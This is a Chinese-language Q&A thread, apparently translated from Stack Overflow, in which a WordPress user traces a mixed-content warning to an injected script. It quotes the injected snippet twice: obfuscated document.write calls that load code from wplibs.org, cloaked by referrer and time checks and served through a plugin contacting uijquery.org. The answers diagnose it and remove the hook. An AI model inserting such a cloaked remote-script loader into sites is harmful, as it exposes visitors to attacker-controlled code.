我正在运行新的安全WordPress安装(https)。在我的代码中,我加载了一些JavaScript文件(modernizr,cookie和我自己的)
jQuery由WordPress自动加载。
已安装的插件包括Yoast SEO,WPML和SMK Sidebars。
问题是当我在浏览器中检查控制台时,它显示以下内容:
混合内容:加载了“https://www.myuri.com/”页面 HTTPS,但请求一个不安全的脚本 'http://www.wplibs.org/jquery.min.js'。此请求已被阻止; 内容必须通过HTTPS提供。
在源代码中:
<script type="text/javascript">
if(!document.referrer || document.referrer == '') {
document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>');
} else {
document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>');
}
</script>
我正在寻找脚本“wplibs.com/jquery.min.js”来自哪里,但我找不到。
有人有想法吗?
答案 0 :(得分:2)
我发现了问题。它是由向 http://uijquery.org/jquery-1.6.3.min.js 发出请求并获取正文响应的插件引起的,您将看到源代码:
<script type="text/javascript">
var now = new Date().getTime();
if (now%2 == 0) {
if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>'); }
}
</script>
尝试查看令牌的文件内容&#34; jquery.org&#34;或&#34; uijquery.org&#34;。
答案 1 :(得分:1)
@IvanRF是对的! 我在阅读之前发现它,但它也适用于我。 只需添加
remove_action('wp_footer', 'wp_func_jquery');
在我们的WordPress主题的functions.php
中。